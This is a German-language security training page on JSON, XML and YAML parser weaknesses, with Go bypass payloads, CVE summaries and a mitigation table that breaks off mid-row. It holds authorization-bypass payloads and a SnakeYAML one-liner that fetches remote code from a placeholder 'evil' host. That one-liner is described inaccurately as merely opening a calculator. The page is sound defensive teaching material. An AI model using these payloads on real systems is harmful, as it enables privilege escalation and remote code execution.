# JSON, XML & Yaml Hacking & Issues
{{#include ../banners/hacktricks-training.md}}
## Go JSON Decoder
Die folgenden Probleme wurden im Go JSON festgestellt, obwohl sie auch in anderen Sprachen vorhanden sein könnten. Diese Probleme wurden in [**diesem Blogbeitrag**](https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/) veröffentlicht.
Go’s JSON-, XML- und YAML-Parser haben eine lange Liste von Inkonsistenzen und unsicheren Standardeinstellungen, die ausgenutzt werden können, um **Authentifizierung zu umgehen**, **Berechtigungen zu eskalieren** oder **sensible Daten zu exfiltrieren**.
### (Un)Marshaling Unerwarteter Daten
Das Ziel ist es, Strukturen auszunutzen, die es einem Angreifer ermöglichen, sensible Felder zu lesen/schreiben (z. B. `IsAdmin`, `Password`).
- Beispielstruktur:
```go
type User struct {
Username string `json:"username,omitempty"`
Password string `json:"password,omitempty"`
IsAdmin bool `json:"-"`
}
```
- Häufige Schwachstellen
1. **Fehlendes Tag** (kein Tag = Feld wird standardmäßig weiterhin geparst):
```go
type User struct {
Username string
}
```
Nutzlast:
```json
{"Username": "admin"}
```
2. **Falsche Verwendung von `-`**:
```go
type User struct {
IsAdmin bool `json:"-,omitempty"` // ❌ wrong
}
```
Nutzlast:
```json
{"-": true}
```
✔️ Richtige Methode, um ein Feld vom (De)Serialisieren abzuhalten:
```go
type User struct {
IsAdmin bool `json:"-"`
}
```
### Parser-Differenzen
Das Ziel ist es, die Autorisierung zu umgehen, indem man ausnutzt, wie verschiedene Parser dasselbe Payload unterschiedlich interpretieren, wie zum Beispiel:
- CVE-2017-12635: Apache CouchDB Umgehung über doppelte Schlüssel
- 2022: Zoom 0-Klick RCE über XML-Parser-Inkonsistenz
- GitLab 2025 SAML-Umgehung über XML-Eigenheiten
**1. Doppelte Felder:**
Go's `encoding/json` nimmt das **letzte** Feld.
```go
json.Unmarshal([]byte(`{"action":"UserAction", "action":"AdminAction"}`), &req)
fmt.Println(req.Action) // AdminAction
```
Andere Parser (z. B. Javas Jackson) können die **erste** nehmen.
**2. Groß-/Kleinschreibung:**
Go ist nicht case-sensitiv:
```go
json.Unmarshal([]byte(`{"AcTiOn":"AdminAction"}`), &req)
// matches `Action` field
```
Sogar Unicode-Tricks funktionieren:
```go
json.Unmarshal([]byte(`{"aKtionſ": "bypass"}`), &req)
```
**3. Cross-Service-Mismatch:**
Stellen Sie sich vor:
- Proxy, geschrieben in Go
- AuthZ-Dienst, geschrieben in Python
Angreifer sendet:
```json
{
"action": "UserAction",
"AcTiOn": "AdminAction"
}
```
- Python sieht `UserAction`, erlaubt es
- Go sieht `AdminAction`, führt es aus
### Datenformatverwirrung (Polyglots)
Das Ziel ist es, Systeme auszunutzen, die Formate (JSON/XML/YAML) mischen oder bei Parserfehlern offen bleiben, wie z.B.:
- **CVE-2020-16250**: HashiCorp Vault analysierte JSON mit einem XML-Parser, nachdem STS JSON anstelle von XML zurückgegeben hatte.
Angreifer kontrolliert:
- Den `Accept: application/json` Header
- Teilweise Kontrolle des JSON-Körpers
Der XML-Parser von Go analysierte es **trotzdem** und vertraute der injizierten Identität.
- Ausgeklügelte Payload:
```json
{
"action": "Action_1",
"AcTiOn": "Action_2",
"ignored": "Action_3"
}
```
- **Go JSON** Parser: `Action_2` (nicht groß-/kleinschreibungsempfindlich + letzter gewinnt)
- **YAML** Parser: `Action_1` (groß-/kleinschreibungsempfindlich)
- **XML** Parser: parst `"Action_3"` innerhalb des Strings
---
## Bemerkenswerte Parser-Sicherheitsanfälligkeiten (2023-2025)
> Die folgenden öffentlich ausnutzbaren Probleme zeigen, dass unsicheres Parsen ein Problem in mehreren Sprachen ist – nicht nur ein Go-Problem.
### SnakeYAML Deserialisierung RCE (CVE-2022-1471)
* Betroffen: `org.yaml:snakeyaml` < **2.0** (verwendet von Spring-Boot, Jenkins usw.).
* Grundursache: `new Constructor()` deserialisiert **willkürliche Java-Klassen**, was Gadget-Ketten ermöglicht, die in der Ausführung von Remote-Code enden.
* One-Liner PoC (öffnet den Rechner auf dem anfälligen Host):
```yaml
!!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://evil/"] ] ] ]
```
* Fix / Minderung:
1. **Upgrade auf ≥2.0** (verwendet standardmäßig `SafeLoader`).
2. Bei älteren Versionen explizit `new Yaml(new SafeConstructor())` verwenden.
### libyaml Double-Free (CVE-2024-35325)
* Betroffen: `libyaml` ≤0.2.5 (C-Bibliothek, die von vielen Sprachbindungen genutzt wird).
* Problem: Das zweimalige Aufrufen von `yaml_event_delete()` führt zu einem Double-Free, den Angreifer in DoS oder in einigen Szenarien in Heap-Ausnutzung umwandeln können.
* Status: Vom Upstream als „API-Missbrauch“ abgelehnt, aber Linux-Distributionen haben das gepatchte **0.2.6** ausgeliefert, das den Zeiger defensiv null-freigibt.
### RapidJSON Integer (Unter|Über)-lauf (CVE-2024-38517 / CVE-2024-39684)
* Betroffen: Tencent **RapidJSON** vor dem Commit `8269bc2` (<1.1.0-patch-22).
* Fehler: In `GenericReader::ParseNumber()` lässt nicht überprüfte Arithmetik Angreifern zu, riesige numerische Literale zu erstellen, die sich umwickeln und den Heap beschädigen — was letztendlich eine Privilegieneskalation ermöglicht, wenn der resultierende Objektgraph für Autorisierungsentscheidungen verwendet wird.
---
### 🔐 Minderung (Aktualisiert)
| Risiko | Fix / Empfehlung |
|--------------------------------------|---------------------------------------------------------|
| Unbekannte Felder (JSON) | `decoder.DisallowUnknownFields()` |
| Duplizierte Felder (JSON) | ❌ Kein Fix in der stdlib — validieren mit [`jsoncheck`](https://github.com/dvsekhvalnov/johnny-five) |
| Groß-/Kleinschreibung-unabhängige Übereinstimmung (Go) | ❌ Kein Fix — validieren Sie Struktur-Tags + vor-kanonicalisieren Sie Eingaben |
| XML-Garbagedaten / XXE | Verwenden Sie einen gehärteten Parser (`encoding/xml` + `DisallowDTD`) |
| YAML unbekannte Schlüssel | `yaml.KnownFields(true)` |
| **Unsichere YAML-Desserialisierung** | Verwenden Sie SafeConstructor / Upgrade auf SnakeYAML ≥2.0 |
| libyaml ≤0.2.5 Double-Free | Upgrade auf **0.2.6** oder distro-gepatchte Version |
| RapidJSON